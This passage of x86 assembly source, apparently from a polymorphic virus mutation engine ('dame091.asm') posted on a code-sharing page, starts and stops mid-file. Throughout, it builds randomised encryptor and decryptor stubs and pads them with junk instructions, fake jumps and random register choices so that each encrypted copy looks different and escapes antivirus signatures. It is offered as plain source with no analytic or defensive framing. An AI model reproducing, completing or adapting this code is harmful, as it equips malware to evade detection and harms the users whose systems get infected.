?? dame091.asm
字號:
call handle_jmp_table ; Encode decryption routine
push bx ; Save routine that was used
call twogarble ; Garble some more for fun
test ch,4
jz not_double_reference2 ; Double reference?
xchg ax,dx ; reg1 to dx
mov ax,_kludge ; Restore pointer
push ax ; Save pointer
call mov_reg_reg ; MOV [pointer],reg1
call clear_reg_dx ; Return reg1 to free pool
pop ax ; Restore pointer
not_double_reference2:
mov bp,offset _encrypt_relocate_num ; Set the registers to work
call swap_decrypt_encrypt ; with the encryption routine
pop bx dx si ; Restore crypt value/register
call go_next ; Convert to encryption table
jmp short finish_encryption ; and encode the encryption
; corresponding to the
; decryption
do_encrypt1: ; Perform encryption on a word
call playencrypt ; Alter encryption value
call get_rand ; Have a tiny chance
cmp ax,6 ; (1% chance) of not
jb playencrypt ; encrypting at all
call encryption ; Encrypt!
playencrypt: ; Update the encryption value
mov di,_decryptpointer
call twogarble
mov al,_encrypt_reg ; Encryption register used?
and ax,7
cmp al,4
jz swap_decrypt_encrypt
call get_rand_bx ; 75% chance of altering the
cmp bl,0c0 ; encryption value register
ja swap_decrypt_encrypt ; Exit if nothing is to occur
call choose_routine ; Select a method of updating
call handle_jmp_table_nogarble ; Encode the decryption
call swap_decrypt_encrypt ; Now work on encryption
finish_encryption:
push cx ; Save current bitmask
and cl,not 7 ; Turn off garbling/mo routines
call [bx+si+1] ; Encode the same routine for
; the encryption
pop cx ; Restore the bitmask
mov _encryptpointer,di
ret
choose_routine:
mov _nest,0 ; Reset recursion counter
call one_in_two ; 50% chance of using an
js get_used_register ; already used register as
; an update value
call get_rand_bx ; Get random number as the
; update value
mov si,offset oneregtable ; Choose the update routine
; from this table
jmp short continue_choose_routine ; Saves one byte over
; xchg dx,bx / ret
get_used_register:
; This routine returns, in DX, a register whose value is known at the current
; point in the encryption/decryption routines. SI is loaded with the offset
; of the appropriate table. The routine destroys BX.
call get_rand_bx ; Get a random number
and bx,7 ; Convert to a register (0-7)
cmp bl,_sp ; Make sure it isn't SP; that
jz get_used_register ; is always considered used
cmp byte ptr [bx+_used_regs],0 ; Check if the register is
jz get_used_register ; currently in use
mov si,offset tworegtable ; Use routine from this table
continue_choose_routine:
xchg dx,bx ; Move value to dx
ret ; and quit
swap_decrypt_encrypt:
mov _decryptpointer,di ; save current pointer
push ax
mov al,_maxnest ; disable garbling
mov _nest,al
pop ax
mov di,_encryptpointer ; replace with encryption
ret ; pointer
go_next:
; Upon entry, SI points to a dispatch table. This routine calculates the
; address of the next table and sets SI to that value.
push ax
lodsb ; Get mask byte
cbw ; Convert it to a word
add si,ax ; Add it to the current
pop ax ; location (table+1)
inc si ; Add two more to adjust
inc si ; for the mask
ret ; (mask = size - 3)
clear_used_regs:
xor ax,ax ; Mark registers unused
mov di,offset _used_regs ; Alter _used_regs table
stosw
stosw
inc ax ; Mark SP used
stosw
dec ax
stosw
ret
get_another: ; Get an unused register
call get_rand ; Get a random number
and ax,7 ; convert to a register
; cmp al,_sp
; jz get_another
mov si,ax
cmp [si+_used_regs],0 ; Check if used already
jnz get_another ; Yes, try again
inc [si+_used_regs] ; Otherwise mark the register
ret ; used and return
clear_reg_dx: ; Mark the register in DX
xchg ax,dx ; unused
clear_reg: ; Mark the register in AX
mov si,ax ; unused
mov byte ptr [si+_used_regs],0
ret
free_regs:
; This checks for any free registers and sets the zero flag if there are.
push ax cx di
mov di,offset _used_regs
mov cx,8
xor ax,ax
repne scasb
pop di cx ax
ret
one_in_two: ; Gives 50% chance of
push ax ; something happening
call get_rand ; Get a random number
or ax,ax ; Sign flag set 50% of the
pop ax ; time
ret
get_rand_bx: ; Get a random number to BX
xchg ax,bx ; Save AX
call get_rand ; Get a random number
xchg ax,bx ; Restore AX, set BX to the
return: ; random number
ret
garble_onebyte:
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
xchg ax,dx ; Get the random number in AX
and al,7 ; Convert to table offset
mov bx,offset onebytetable ; Table of random bytes
xlat ; Get the byte
stosb ; and encode it
ret
garble_jmpcond:
; Encode a random short conditional or unconditional JMP instruction. The
; target of the JMP is an unspecified distance away. Valid instructions
; take up the space between the JMP and the target.
xchg ax,dx ; Random number to AX
and ax,0f ; Convert to a random JMP
or al,70 ; instruction
stosw ; Encode it
push di ; Save current location
call garble ; May need to check if too large
mov ax,di ; Get current location
pop bx ; Restore pointer to the JMP
sub ax,bx ; Calculate the offset
mov byte ptr [bx-1], al ; Put it in the conditional
ret ; JMP
clear_PIQ:
; Encode instructions that clear the prefetch instruction queue.
; CALL/POP
; JMP SHORT
; JMP
call get_rand ; Get a random number
mov dl,ah ; Put high byte in DL
and dx,0f ; Adjust so JMP target is
; between 0 and 15 bytes away
and ax,3 ; Mask AX
jz clear_PIQ_call_pop ; 1/4 chance of CALL/POP
dec ax
jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT
mov al,0e9 ; Otherwise do a straight JMP
clear_PIQ_word: ; Handler if offset is a word
stosb ; Store the JMP or CALL
xchg ax,dx ; Offset to AX
stosw ; Encode it
clear_PIQ_byte: ; Encode AX random bytes
push cx
xchg ax,cx ; Offset to CX
jcxz random_encode_done ; Exit if no bytes in between
random_encode_loop:
call get_rand ; Get a random number
stosb ; Store it and then do this
loop random_encode_loop ; again
random_encode_done:
pop cx
ret
clear_PIQ_jmp_short:
mov al,0ebh ; JMP SHORT
stosb ; Encode the instruction
xchg ax,dx
stosb ; and the offset
jmp short clear_PIQ_byte ; Encode intervening bytes
clear_PIQ_call_pop:
mov al,0e8 ; CALL
call clear_PIQ_word ; Encode instruction, garbage
call garble ; Garble some and then find
call get_another ; an unused register
call clear_reg ; keep it unused
jmp short _pop ; and POP into it
twogarble: ; Garble twice
mov _nest,0 ; Reset nest count
call garble ; Garble once
garble: ; ax, dx preserved ; Garble
call free_regs ; Are there any unused
jne return ; registers?
test cl,2 ; Is garbling enabled?
jz return ; Exit if not
push ax dx si
call get_rand ; Get a random number into
xchg ax,dx ; DX
call get_another ; And a random reg into AX
call clear_reg ; Don't mark register as used
mov si,offset garbletable ; Garble away
jmp short handle_jmp_table_nopush
handle_jmp_table: ; ax,dx preserved ; This is the master dispatch
call garble ; Garble before encoding
handle_jmp_table_nogarble: ; Encode it
push ax dx si
handle_jmp_table_nopush:
push ax
lodsb ; Get table mask
cbw ; Clear high byte
call get_rand_bx ; Get random number
and bx,ax ; Get random routine
pop ax
test cl,4 ; Short decryptor?
jnz doshort ; If so, use first routine
inc _nest ; Update nest count
push ax
mov al,_maxnest
cmp _nest,al ; Are we too far?
pop ax
jb not_max_nest ; If so, then use the first
doshort:xor bx,bx ; routine in the table
not_max_nest:
push bx ; Save routine to be called
call [bx+si] ; Call the routine
pop bx si dx ax
ret
garble_tworeg:
; Garble unused register with the contents of a random register.
mov si,offset tworegtable ; Use reg_reg table
and dx,7 ; Convert to random register #
jmp short handle_jmp_table_nogarble ; Garble away
garble_onereg:
; Garble unused register with a random value (DX).
mov si,offset oneregtable ; Point to the table
jmp short handle_jmp_table_nogarble ; and garble
_push: ; Encode a PUSH
or al,al ; PUSHing memory register?
js _push_mem
call one_in_two ; 1/2 chance of two-byte PUSH
js _push_mem
add al,50 ; otherwise it's really easy
stosb
ret
_push_mem:
add ax,0ff30
jmp short go_mod_xxx_rm1
_pop: ; Encode a POP
or al,al ; POPing a memory register?
js _pop_mem
call one_in_two ; 1/2 chance of two-byte POP
js _pop_mem
add al,58
stosb
ret
_pop_mem:
mov ah,8f
go_mod_xxx_rm1:
jmp mod_xxx_rm
mov_reg_xxxx: ; ax and dx preserved
mov si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -